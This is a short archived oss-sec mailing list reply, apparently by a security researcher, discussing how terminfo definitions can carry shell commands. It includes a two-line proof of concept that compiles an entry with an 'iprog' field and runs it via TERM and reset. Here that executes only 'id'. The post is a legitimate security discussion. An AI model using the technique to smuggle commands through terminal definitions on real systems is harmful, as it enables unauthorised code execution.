Is this you? As a journalist, you can create a free Muck Rack account to customize your profile, list your contact preferences, and upload a portfolio of your best work.
Claim your profile
oss-sec mailing list archives From: Tavis Ormandy <taviso () gmail com> Date: Fri, 14 Apr 2023 19:35:07 -0000 (UTC) On 2023-04-13, Mark Esler wrote: I'm curious what the attack is! ISTR that terminfo definitions can contain shell commands by design and so are generally considered trusted. I remember using this trick in an exploit once :) $ printf "exploit, iprog=/usr/bin/id,\n" | tic - $ TERM=exploit reset uid=1000(taviso) gid=1000(taviso) Tavis.
As a journalist, you can create a free Muck Rack account to customize your profile, list your contact preferences, and upload a portfolio of your best work.
